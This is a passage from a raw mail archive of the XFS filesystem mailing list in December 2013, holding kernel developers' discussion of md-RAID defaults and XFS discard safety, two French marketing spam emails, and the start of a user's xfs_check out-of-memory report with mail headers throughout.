TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143438 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header --Sig_/tIziOH9cKrE+.8RfYN9tXTg Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable On Thu, 26 Dec 2013 03:24:00 -0600 Stan Hoeppner wrote: > On 12/26/2013 2:55 AM, Christoph Hellwig wrote: > > On Sat, Dec 21, 2013 at 05:18:42AM -0600, Stan Hoeppner wrote: > >> The powers that be, Linus in particular, are not fond of default > >> settings that create a lot of kernel memory structures. The default > >> md-RAID5/6 stripe_cache-size yields 1MB consumed per member device. > >=20 > > The default sizing is stupid as it basically makes RAID unusable out > > of the box, I always have to fix that up, as well as a somewhat > > reasonable chunk size for parity RAID to make it usable. I'm also > > pretty sure I complained about it at least once a while ago, but never > > got a reply. >=20 > IIRC you Dave C. and myself all voiced criticism after the default chunk > size was changed from 64KB to 512KB. I guess we didn't make a strong > enough case to have it reduced, or maybe didn't use the right approach. >=20 > Maybe Neil is waiting for patches to be submitted for changing these > defaults, and to argue the merits in that context instead of pure > discussion? Dunno. Just guessing. Maybe he'll read this and jump in. >=20 Good guess. NeilBrown --Sig_/tIziOH9cKrE+.8RfYN9tXTg Content-Type: application/pgp-signature; name=signature.asc Content-Disposition: attachment; filename=signature.asc -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (GNU/Linux) iQIVAwUBUryqLznsnt1WYoG5AQLoHg//UItjEDouIilQklR4madQsEbK3UCw7lII eIA+mci0diPdTpgZa1PAXaeAU4A0hf1GNUaMXsZRMzeSiR2pfW+UVKDGG02VkzNz QzchxXX6K5l1dNBQqcSGDtSKpcFuj9CJ0Z/GHdid/FzJVG9yJ3vYz9eLBk0UD6UA 4ehWxwhAjIA4pSmCJA81/T3n/cVPA53i8XWzXCCO5/sCZ9v6/pPxAt2TZKspbCZF o/S+x5O9g8h7QHbiwT2BkdJaJMGB+BzqUe4N5Ytd74JF/a388BQgi7Z2ZFb2ihhW USuMgt2JvRo50zYMiD9mnCSERAQWnNedUnWEnoj3y1cx0KeS1Fcce08MctQ578Q+ 5jl0NMoqyvWZ60rmjfWGPKnyPlxuDkFhPH5fKouuwk3L93WwbvQMBRhgiG3qSTv8 kM5NGSRgbu/V6fU5ZU0fydwqpJfgo1oV26eiztPD/IBcK3EltJ8wtgFO36CO5Pa1 iYG19K79Zj099e2WdCdbi6nnhKdE2fQNsXcgGRMaBgkMxHN8kccvb91YzQBbqdVA RDr5/8o9leukHuclL9EdRdwQoyEhgrbFTcbe5j+AcTv50MhNb5izCUeit63Plj73 xWw20eFaWq8DsEh0vvBA3SzuG+xeKWSBRtLiTNFQsAl6BuJFfVff4SdjirjQZRpm x+LSZDZlv0g= =NrrL -----END PGP SIGNATURE----- --Sig_/tIziOH9cKrE+.8RfYN9tXTg-- From david@fromorbit.com Thu Dec 26 17:00:28 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 901127F3F for ; Thu, 26 Dec 2013 17:00:28 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 11944AC003 for ; Thu, 26 Dec 2013 15:00:27 -0800 (PST) X-ASG-Debug-ID: 1388098825-04cbb041689bfee0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 4I3BV1Au3h2P4edr for ; Thu, 26 Dec 2013 15:00:26 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnwKAPGzvFJ5LHyk/2dsb2JhbABYgwu1CYVRgRMXdIIlAQEBAwE6HCMFCwgDGAklDwUlAyETh3wHx0sXFo4+SQeENgSYFopMh0mDQSiBLQ Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 27 Dec 2013 09:30:24 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VwJuc-0005GL-IG; Fri, 27 Dec 2013 10:00:18 +1100 Date: Fri, 27 Dec 2013 10:00:18 +1100 From: Dave Chinner To: Alex Lyakas Cc: xfs@oss.sgi.com Subject: Re: Questions about XFS discard and xfs_free_extent() code (newbie) Message-ID: <20131226230018.GJ20579@dastard> X-ASG-Orig-Subj: Re: Questions about XFS discard and xfs_free_extent() code (newbie) References: <20131218230615.GQ31386@dastard> <78FC295EC7FF48C987266DC48B183930@alyakaslap> <20131219105513.GZ31386@dastard> <8155F3F9D6094F40B4DA71BD561D2DE8@alyakaslap> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <8155F3F9D6094F40B4DA71BD561D2DE8@alyakaslap> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1388098825 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143440 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Dec 24, 2013 at 08:21:50PM +0200, Alex Lyakas wrote: > Hi Dave, > Reading through the code some more, I see that the extent that is > freed through xfs_free_extent() can be an XFS metadata extent as > well. > For example, xfs_inobt_free_block() frees a block of the AG's > free-inode btree. Also, xfs_bmbt_free_block() frees a generic btree > block by putting it onto the cursor's "to-be-freed" list, which will > be dropped into the free-space btree (by xfs_free_extent) in > xfs_bmap_finish(). If we discard such metadata block before the > transaction is committed to the log and we crash, we might not be > able to properly mount after reboot, is that right? Yes. The log stores a delta of the transactional changes, and so requires th eprevious version of the block to be intact for revoery to take place. > I mean it's not > that some file's data block will show 0s to the user instead of > before-delete data, but some XFS btree node (for example) will be > wiped in such case. Can this happen? Yes, it could. That's what I meant by: [snip] > > IOWs, issuing the discard before the transaction that frees the > > extent is on stable storage means we are discarding user data or ^^ > > metadata before we've guaranteed that the extent free transaction ^^^^^^^^ > > is permanent and that means we violate certain guarantees with > > respect to crash recovery... The "or metadata" part of the above sentence. Cheers, Dave. -- Dave Chinner david@fromorbit.com From pam=news-zetrend.com@mlgnusa.com Thu Dec 26 22:19:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_RATIO_02, HTML_MESSAGE,T_DKIM_INVALID,T_FRT_PROFILE1,T_FRT_PROFIT1 autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 32E477F3F for ; Thu, 26 Dec 2013 22:19:47 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1A7008F8040 for ; Thu, 26 Dec 2013 20:19:43 -0800 (PST) X-ASG-Debug-ID: 1388117979-04cbb041699cea30002-NocioJ Received: from mail8.mlgnusa.com (mail8.mlgnusa.com [194.19.244.215]) by cuda.sgi.com with ESMTP id izmpJtUzfErUQBwD for ; Thu, 26 Dec 2013 20:19:40 -0800 (PST) X-Barracuda-Envelope-From: pam=news-zetrend.com@mlgnusa.com X-Barracuda-Apparent-Source-IP: 194.19.244.215 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=default; d=mlgnusa.com; h=Date:To:From:Reply-to:Subject:Message-ID:List-Unsubscribe:Sender:MIME-Version:Content-Type; i=pam=3Dnews-zetrend.com@mlgnusa.com; bh=shWHKWvctSffIX8zosNflWRRv04=; b=DMpmhIy/dyEe1IXkqO7kcaP4MvWz65XONBI1iQ0kGyxld0iAHH90G/PtA0fxXkROHZWIWyEyIbD/ OaILGCoz6+zAOnD6lISbusa+OmzsChmq8u0wqXMax1GvVjmThaQNGp/PhMepHdwixFHb+Zll9i+x 85E/J8rSNACWh/Lv1/M= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=default; d=mlgnusa.com; b=Y4N1M6yqPZhadpkyqLnmLfzkGGx0EB8ci/hZ+Uj71BTqwwfhhGTt47QV1jaExHPkfRdgNR5CDKor zKuGCU3GkMGxYFPkXFgmdnVGS/sXlAqJ9qvugsXVNlxF2qcycYOpQs/EBNqraSIIHaoxgvptFaHb 8j7qYDrJVZY4uVkGhw8=; Received: by mail8.mlgnusa.com id hnjvtq1fblch for ; Fri, 27 Dec 2013 06:19:39 +0200 (envelope-from ) Date: Fri, 27 Dec 2013 04:47:50 +0200 To: From: Virginie Reply-To: Virginie Subject: =?utf-8?Q?Op=C3=A9ration_d=C3=A9tox_apr=C3=A8s_les_f=C3=AAtes_:_moins_8_k?= =?utf-8?Q?ilos_en_4_semaines?= Message-ID: <9db0aadca341e77b4aaa57fad588ec96@mlgnusa.com> X-ASG-Orig-Subj: =?utf-8?Q?Op=C3=A9ration_d=C3=A9tox_apr=C3=A8s_les_f=C3=AAtes_:_moins_8_k?= =?utf-8?Q?ilos_en_4_semaines?= X-Priority: 3 X-Mailer: MailiGen Mailer - **CID5637bb62d09c0023** X-Campaign: mailigenfc73483cfec371c61e8f755f0ed49da4.5637bb62 X-campaignid: mailigenfc73483cfec371c61e8f755f0ed49da4.5637bb62 X-Report-Abuse: Please report abuse for this campaign here: http://list.mlgnusa.com/abuse/?u=fc73483cfec371c61e8f755f0ed49da4&id=5637bb62&e=d09c0023 List-Unsubscribe: , Sender: "Virginie" Precedence: bulk MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_7701ed64c86339fe86c80c2c4d1e61e4" X-Barracuda-Connect: mail8.mlgnusa.com[194.19.244.215] X-Barracuda-Start-Time: 1388117980 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.55 X-Barracuda-Spam-Status: No, SCORE=0.55 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143447 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message --b1_7701ed64c86339fe86c80c2c4d1e61e4 Content-Type: text/plain; charset = "utf-8" Content-Transfer-Encoding: 8bit Actu chrono : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=901163&C=16833&f=10&P=49626&T=E&W=1&CREA=12791&URL : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=901163&C=16833&f=10&P=49626&T=E&W=1&CREA=12791&URL : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=901163&C=16833&f=10&P=49626&T=E&W=1&CREA=12791&URL : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=901163&C=16833&f=10&P=49626&T=E&W=1&CREA=12791&URL : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=901163&C=16833&f=10&P=49626&T=E&W=1&CREA=12791&URL : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=901163&C=16833&f=10&P=49626&T=E&W=1&CREA=12791&URL : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=901163&C=16833&f=10&P=49626&T=E&W=1&CREA=12791&URL DERNIERS AVIS : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=901163&C=16833&f=10&P=49626&T=E&W=1&CREA=12791&URL : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=901163&C=16833&f=10&P=49626&T=E&W=1&CREA=12791&URL : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=901163&C=16833&f=10&P=49626&T=E&W=1&CREA=12791&URL : http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=901163&C=16833&f=10&P=49626&T=E&W=1&CREA=12791&URL Votre bilan minceur en 2 min chrono: http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=901163&C=16833&f=10&P=49626&T=E&W=1&CREA=12791&URL Découvrez : 1 - d'où viennent vos kilos superflus 2 - comment en venir à bout rapidement 3 - quelles sont vos erreurs alimentaires: http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=901163&C=16833&f=10&P=49626&T=E&W=1&CREA=12791&URL >>: http://baseco.solution.weborama.fr/fcgi-bin/performance.fcgi?ID=310703&A=1&L=901163&C=16833&f=10&P=49626&T=E&W=1&CREA=12791&URL ========================================== Ce courriel a été envoyé par Virginie à xfs@oss.sgi.com. Zetrend | 2, Place Louis Pradel, lyon, 60001, France Pourquoi je reçois ce mail? http://list.mlgnusa.com/about?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&c=5637bb62&e=d09c0023&ln=fr Désabonnement en un clic: http://list.mlgnusa.com/unsubscribe?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&e=d09c0023&c=5637bb62&ln=fr --b1_7701ed64c86339fe86c80c2c4d1e61e4 Content-Type: text/html; charset = "utf-8" Content-Transfer-Encoding: 8bit Actu chrono
    Mincir apres les fetes
    8 kg / mois
    Morphobilan
    Bilan
    Je commence maintenant
    Je commence maintenant
    Vu a la tv
     
    DERNIERS AVIS
     
    Temoignage Nathalie   Avis Stephanie
     
    Avis Josyanne   Temoignage Alain
     
    Votre bilan minceur
    en 2 min chrono
      Découvrez :
    1 - d'où viennent vos kilos superflus
    2 - comment en venir à bout rapidement
    3 - quelles sont vos erreurs alimentaires
    >>
     
    Ce courriel a été envoyé par Virginie à xfs@oss.sgi.com.
    Zetrend | 2, Place Louis Pradel, lyon, 60001, France
    Pourquoi je reçois ce mail?
    Désabonnement en un clic | Mettez à jour votre profil | Envoyer à un ami
    Ce courriel a été envoyé par Virginie à xfs@oss.sgi.com.
    Zetrend | 2, Place Louis Pradel, lyon, 60001, France
    Pourquoi je reçois ce mail?
    Désabonnement en un clic | Mettez à jour votre profil | Envoyer à un ami
    --b1_7701ed64c86339fe86c80c2c4d1e61e4-- From pam=news-zetrend.com@mlgnusa.com Thu Dec 26 22:19:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_DKIM_INVALID, T_FRT_PROFILE1,T_FRT_PROFIT1 autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 927AF7F4E for ; Thu, 26 Dec 2013 22:19:47 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 12441AC001 for ; Thu, 26 Dec 2013 20:19:43 -0800 (PST) X-ASG-Debug-ID: 1388117979-04cbb041699cea30001-NocioJ Received: from mail8.mlgnusa.com (mail8.mlgnusa.com [194.19.244.215]) by cuda.sgi.com with ESMTP id inn7yEqDwCw5fNMm for ; Thu, 26 Dec 2013 20:19:40 -0800 (PST) X-Barracuda-Envelope-From: pam=news-zetrend.com@mlgnusa.com X-Barracuda-Apparent-Source-IP: 194.19.244.215 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=default; d=mlgnusa.com; h=Date:To:From:Reply-to:Subject:Message-ID:List-Unsubscribe:Sender:MIME-Version:Content-Type; i=pam=3Dnews-zetrend.com@mlgnusa.com; bh=kGiaX4tsQgv9sfHfIT3xojxzx/8=; b=idGT2YO0+hCS77jlht3+dtNU4sU91Oiz1T1jJTHdICCfC8XU0LOWIzVNW1K60rSssjIcyTGXlU+m 9tUUAfz4CxxAonCy87Jw3Lm3W6TtaHfN7qvOWxOChdq/LhtmEJSeeOAWChGFcp9/W7H45XE990pb ucRdzFBgNMVNlR5OAKE= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=default; d=mlgnusa.com; b=zqpe4+Myg+CliWR30sADJb8ZDyhFSb7BNjBwy0k+jrFiK0MaCn6850HHFQ6yij85A4yjDQ2n8HYL 0t2hIixYVkMBo4EUCTHuZRCnM33qua/Llrl7k5zczo5dMCGsyt4fIM5DGsAGjAE3jXgJBLuc3Zdq RNwM13U0rv2hL/0rWrw=; Received: by mail8.mlgnusa.com id hnjvto1fblcj for ; Fri, 27 Dec 2013 06:19:38 +0200 (envelope-from ) Date: Fri, 27 Dec 2013 05:19:08 +0200 To: From: Leroy Merlin Reply-To: Leroy Merlin Subject: =?utf-8?Q?Tentez_de_gagner_5000_euros_de_ch=C3=A8que_cadeau?= Message-ID: <2c3803047756f155cc13ec6be9e2a569@mlgnusa.com> X-ASG-Orig-Subj: =?utf-8?Q?Tentez_de_gagner_5000_euros_de_ch=C3=A8que_cadeau?= X-Priority: 3 X-Mailer: MailiGen Mailer - **CIDeb8af45ad09c0023** X-Campaign: mailigenfc73483cfec371c61e8f755f0ed49da4.eb8af45a X-campaignid: mailigenfc73483cfec371c61e8f755f0ed49da4.eb8af45a X-Report-Abuse: Please report abuse for this campaign here: http://list.mlgnusa.com/abuse/?u=fc73483cfec371c61e8f755f0ed49da4&id=eb8af45a&e=d09c0023 List-Unsubscribe: , Sender: "Leroy Merlin" Precedence: bulk MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_7cce1d2817f248389784ea6a24955b46" X-Barracuda-Connect: mail8.mlgnusa.com[194.19.244.215] X-Barracuda-Start-Time: 1388117979 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.40 X-Barracuda-Spam-Status: No, SCORE=0.40 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085b, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143447 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.40 BSF_SC0_SA085b Custom Rule SA085b --b1_7cce1d2817f248389784ea6a24955b46 Content-Type: text/plain; charset = "utf-8" Content-Transfer-Encoding: 8bit Je Relook Ma Maison : http://www.jerelookmamaison.com/index.php?email=xfs@oss.sgi.com&firstname=&name=&civilite=H&jour=1&mois=1&annee=1950&cp=&other=&cc_cid=&cc_pid=143&cc_did= : http://www.jerelookmamaison.com/index.php?email=xfs@oss.sgi.com&firstname=&name=&civilite=H&jour=1&mois=1&annee=1950&cp=&other=&cc_cid=&cc_pid=143&cc_did= : http://www.jerelookmamaison.com/index.php?email=xfs@oss.sgi.com&firstname=&name=&civilite=H&jour=1&mois=1&annee=1950&cp=&other=&cc_cid=&cc_pid=143&cc_did= : http://www.jerelookmamaison.com/index.php?email=xfs@oss.sgi.com&firstname=&name=&civilite=H&jour=1&mois=1&annee=1950&cp=&other=&cc_cid=&cc_pid=143&cc_did= Bonjour, PARTICIPEZ A NOTRE GRAND TIRAGE AU SORT et tentez de remporter 5000€ en bons shopping chez Delamaison et Leroy Merlin pour relooker votre intérieur. : http://www.jerelookmamaison.com/index.php?email=xfs@oss.sgi.com&firstname=&name=&civilite=H&jour=1&mois=1&annee=1950&cp=&other=&cc_cid=&cc_pid=143&cc_did= : http://www.jerelookmamaison.com/index.php?email=xfs@oss.sgi.com&firstname=&name=&civilite=H&jour=1&mois=1&annee=1950&cp=&other=&cc_cid=&cc_pid=143&cc_did= : http://www.jerelookmamaison.com/index.php?email=xfs@oss.sgi.com&firstname=&name=&civilite=H&jour=1&mois=1&annee=1950&cp=&other=&cc_cid=&cc_pid=143&cc_did= : http://www.jerelookmamaison.com/index.php?email=xfs@oss.sgi.com&firstname=&name=&civilite=H&jour=1&mois=1&annee=1950&cp=&other=&cc_cid=&cc_pid=143&cc_did= ========================================== Ce courriel a été envoyé par Leroy Merlin à xfs@oss.sgi.com. Zetrend | 2, Place Louis Pradel, lyon, 60001, France Pourquoi je reçois ce mail? http://list.mlgnusa.com/about?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&c=eb8af45a&e=d09c0023&ln=fr Désabonnement en un clic: http://list.mlgnusa.com/unsubscribe?u=fc73483cfec371c61e8f755f0ed49da4&id=764383aa&e=d09c0023&c=eb8af45a&ln=fr --b1_7cce1d2817f248389784ea6a24955b46 Content-Type: text/html; charset = "utf-8" Content-Transfer-Encoding: 8bit Je Relook Ma Maison
    Je Relook Ma Maison Je Relook Ma Maison Je Relook Ma Maison
    Je Relook Ma Maison Bonjour,

    PARTICIPEZ A NOTRE GRAND TIRAGE AU SORT et tentez de remporter 5000€ en bons shopping chez Delamaison et Leroy Merlin pour relooker votre intérieur.
    Je Relook Ma Maison
    Je Relook Ma Maison Je Relook Ma Maison Je Relook Ma Maison
    Ce courriel a été envoyé par Leroy Merlin à xfs@oss.sgi.com.
    Zetrend | 2, Place Louis Pradel, lyon, 60001, France
    Pourquoi je reçois ce mail?
    Désabonnement en un clic | Mettez à jour votre profil | Envoyer à un ami
    --b1_7cce1d2817f248389784ea6a24955b46-- From 289471341@qq.com Fri Dec 27 00:48:41 2013 Return-Path: <289471341@qq.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2CDE77F3F for ; Fri, 27 Dec 2013 00:48:41 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id DE7F98F8035 for ; Thu, 26 Dec 2013 22:48:37 -0800 (PST) X-ASG-Debug-ID: 1388126914-04bdf00fe02c0190001-NocioJ Received: from smtpbg298.qq.com (smtpbg298.qq.com [184.105.67.102]) by cuda.sgi.com with SMTP id bbgDZbpmMUkD9woK for ; Thu, 26 Dec 2013 22:48:35 -0800 (PST) X-Barracuda-Envelope-From: 289471341@qq.com X-Barracuda-Apparent-Source-IP: 184.105.67.102 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qq.com; s=s201307; t=1388126913; bh=BiyfCwrSMsG+wyVC+uSFuOszKxdSUK67v2aUURrWH48=; h=X-QQ-SSF:X-HAS-ATTACH:X-QQ-BUSINESS-ORIGIN:X-Originating-IP: X-QQ-STYLE:X-QQ-mid:From:To:Subject:Mime-Version:Content-Type: Content-Transfer-Encoding:Date:X-Priority:Message-ID:X-QQ-MIME: X-Mailer:X-QQ-Mailer:X-QQ-SENDSIZE:X-QQ-FName:X-QQ-LocalIP; b=D+yrt9B56AVtpXdU6yWlFJJSHHdlRBMtOVYtg6esONYIXJMjdnhD8KxgfDzdUHQ2E Q4A03Sicu/STcocrGeX0dUQbkKZdbeeA/qozlztUi0UschTJ1npkKNt+zMqyC7ntjU vlOc0/bBl5niKVdDltTIasqbfiEhDZ82pno1LI64= X-QQ-SSF: 00000000000000F000000000000000R X-HAS-ATTACH: no X-QQ-BUSINESS-ORIGIN: 2 X-Originating-IP: 118.26.138.85 X-QQ-STYLE: X-QQ-mid: webmail539t1388126911t8387174 From: "=?ISO-8859-1?B?U3Rvcj8/?=" <289471341@qq.com> To: "=?ISO-8859-1?B?eGZz?=" Subject: [xfs_check Out of memory: ] Mime-Version: 1.0 X-ASG-Orig-Subj: [xfs_check Out of memory: ] Content-Type: multipart/alternative; boundary="----=_NextPart_52BD22BF_09168EA8_39621D6C" Content-Transfer-Encoding: 8Bit Date: Fri, 27 Dec 2013 14:48:31 +0800 X-Priority: 3 Message-ID: X-QQ-MIME: TCMime 1.0 by Tencent X-Mailer: QQMail 2.x X-QQ-Mailer: QQMail 2.x X-QQ-SENDSIZE: 520 X-QQ-FName: 035F1C6647674EC9A4808BDB777447D2 X-QQ-LocalIP: 58.250.132.20 X-Barracuda-Connect: smtpbg298.qq.com[184.105.67.102] X-Barracuda-Start-Time: 1388126915 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.80 X-Barracuda-Spam-Status: No, SCORE=1.80 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, FROM_EXCESS_BASE64, FROM_EXCESS_BASE64_2, FROM_STARTS_WITH_NUMS, FROM_STARTS_WITH_NUMS_2, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143450 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 FROM_STARTS_WITH_NUMS From: starts with many numbers -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 FROM_EXCESS_BASE64 From: base64 encoded unnecessarily 1.05 FROM_EXCESS_BASE64_2 From: base64 encoded unnecessarily 0.72 FROM_STARTS_WITH_NUMS_2 From: starts with many numbers This is a multi-part message in MIME format. ------=_NextPart_52BD22BF_09168EA8_39621D6C Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: base64 SGV5Og0KIA0KMjBUIHhmcyBmaWxlIHN5c3RlbSANCiANCiANCiANCi91c3Ivc2Jpbi94ZnNf Y2hlY2s6IGxpbmUgMjg6IDE0NDQ3IEtpbGxlZCAgICAgICAgICAgICAgICAgIHhmc19kYiRE Qk9QVFMgLWkgLXAgeGZzX2NoZWNrIC1jICJjaGVjayRPUFRTIiAkMQ0KIA0KIA0KIA0Kc25t cGQgaW52b2tlZCBvb20ta2lsbGVyOiBnZnBfbWFzaz0weDEyMDFkMiwgb3JkZXI9MCwgb29t a2lsbGFkaj0wDQogDQpQaWQ6IDQ3NTMsIGNvbW06IHNubXBkIFRhaW50ZWQ6IEcgICAgICAg ICAgMi42LjI3LjE5LTUtZGVmYXVsdCAjOTUNCiANCiANCiANCkNhbGwgVHJhY2U6DQogDQog WzxmZmZmZmZmZjgwMjBkODk5Pl0gc2hvd190cmFjZV9sb2dfbHZsKzB4NDEvMHg1OA0KIA0K IFs8ZmZmZmZmZmY4MDIwZGVmZj5dIGR1bXBfc3RhY2srMHg2OS8weDZmDQogDQogWzxmZmZm ZmZmZjgwMjdmYzU0Pl0gb29tX2tpbGxfcHJvY2VzcysweDVjLzB4MWZlDQogDQogWzxmZmZm ZmZmZjgwMjgwMjNhPl0gb3V0X29mX21lbW9yeSsweDE2OS8weDFmZg0KIA0KIFs8ZmZmZmZm ZmY4MDI4MzFkMD5dIF9fYWxsb2NfcGFnZXNfaW50ZXJuYWwrMHgyZTQvMHgzY2UNCiANCiBb PGZmZmZmZmZmODAyODUwNGE+XSBfX2RvX3BhZ2VfY2FjaGVfcmVhZGFoZWFkKzB4NzkvMHgx ODMNCiANCiBbPGZmZmZmZmZmODAyN2Y0NmE+XSBmaWxlbWFwX2ZhdWx0KzB4MTVkLzB4MzM3 DQogDQogWzxmZmZmZmZmZjgwMjhiYWUyPl0gX19kb19mYXVsdCsweDUyLzB4MzdhDQogDQog WzxmZmZmZmZmZjgwMjhkNzY1Pl0gaGFuZGxlX21tX2ZhdWx0KzB4MzgyLzB4NzVlDQogDQog WzxmZmZmZmZmZjgwNDgyYjFkPl0gZG9fcGFnZV9mYXVsdCsweDQ1YS8weDgxYw0KIA0KIFs8 